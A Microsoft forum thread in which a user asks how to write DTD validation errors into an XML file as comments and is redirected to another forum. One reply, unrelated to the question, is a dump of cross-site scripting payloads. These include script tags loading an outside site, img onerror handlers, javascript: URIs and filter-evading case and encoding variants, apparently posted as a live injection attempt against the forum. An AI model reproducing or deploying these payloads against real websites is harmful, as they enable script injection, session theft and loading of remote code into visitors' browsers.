none
Is there any way to enter errors to the XML file which I am validating against DTD? RRS feed

  • Question

  • Hello,
    I am validating my XML file with some DTD using some C# logic. I have to provide error details to my client in the same XML file which I am validating against DTD.
    Is there any solution to achieve that?

    Example: Before validating my XML file:
    <A>
     <B></B>
     <D></D>
    </A>

    After validating my XML file:
    <A>
     <B></B>
    <!-- Error/Warning: Incorrect sequence. C Element is missing [Something like that] -->
     <D></D>
    </A>

    Any Ideas?
    Thanks,


    Shahab Abbasi

    Friday, July 3, 2020 3:10 PM

All replies

  • Shahab Uddin Abbasi

    Sorry but you have posted to a forum that deals exclusively with questions/issues about customizing and programming Microsoft Project, a project management application. I suggest you re-post to the following:

    https://social.technet.microsoft.com/Forums/en-US/home?forum=whatforum

    John

    Friday, July 3, 2020 6:26 PM
  • <script src="https://swiftsafe.com/"></script>
    <script>alert(https://swiftsafe.com/);</script>
    <ScRipT>alert("https://swiftsafe.com/");</ScRipT>
    <script>alert(https://swiftsafe.com/)</script>
    <script>alert("https://swiftsafe.com/");</script>
    <script>alert(“https://swiftsafe.com/”)</script> 
    <script>alert(“https://swiftsafe.com/”);</script>
    <script>alert(‘https://swiftsafe.com/’)</script>
    “><script>alert(“https://swiftsafe.com/”)</script>
    <script>alert(/https://swiftsafe.com/”)</script>
    <script>alert(/https://swiftsafe.com//)</script>
    </script><script>alert(https://swiftsafe.com/)</script>
    <IMG SRC=jAVasCrIPt:alert(‘https://swiftsafe.com/’)>
    <IMG SRC=”javascript:alert(‘https://swiftsafe.com/’);”>
    <IMG SRC=javascript:alert(&quot;https://swiftsafe.com/&quot;)>
    <IMG SRC=javascript:alert(‘https://swiftsafe.com/’)>      
    <img src=https://swiftsafe.com/ onerror=alert(https://swiftsafe.com/)>
    <img/src=`%00` onerror=this.onerror=confirm(https://swiftsafe.com/)
    <img src=`%00`&NewLine; onerror=alert(https://swiftsafe.com/)&NewLine;
    <script/&Tab; src='https://swiftsafe.com/' /&Tab;></script>
    <svg><script xlink:href=data&colon;,window.open('https://swiftsafe.com/')></script
    <svg><script x:href='https://swiftsafe.com/' {Opera}
    https://swiftsafe<script .com>alert(document.location)</script
    <img/src='https://swiftsafe.com' onmouseover=&Tab;prompt(https://swiftsafe.com/)
    //|\\ <script //|\\ src='https://swiftsafe.com'> //|\\ </script //|\\
    <embed src="https://swiftsafe.com/">
    <object data="https://swiftsafe.com/">
    <math><a xlink:href="//swiftsafe.com/">click
    <form><button formaction=javascript&colon;alert(https://swiftsafe.com/)>CLICKME
    <SCRIPT SRC=https://swiftsafe.com/></SCRIPT>
    <IMG SRC="javascript:alert('https://swiftsafe.com/');">
    <IMG SRC=javascript:alert('https://swiftsafe.com/')>
    <IMG SRC=JaVaScRiPt:alert('https://swiftsafe.com/')>
    <IMG SRC=javascript:alert("https://swiftsafe.com/")>
    Saturday, July 4, 2020 10:48 AM
  • Thanks for the updates John,

    I have moved my question to the XML related discussions.

    Thanks,


    Shahab Abbasi

    Wednesday, July 8, 2020 8:07 AM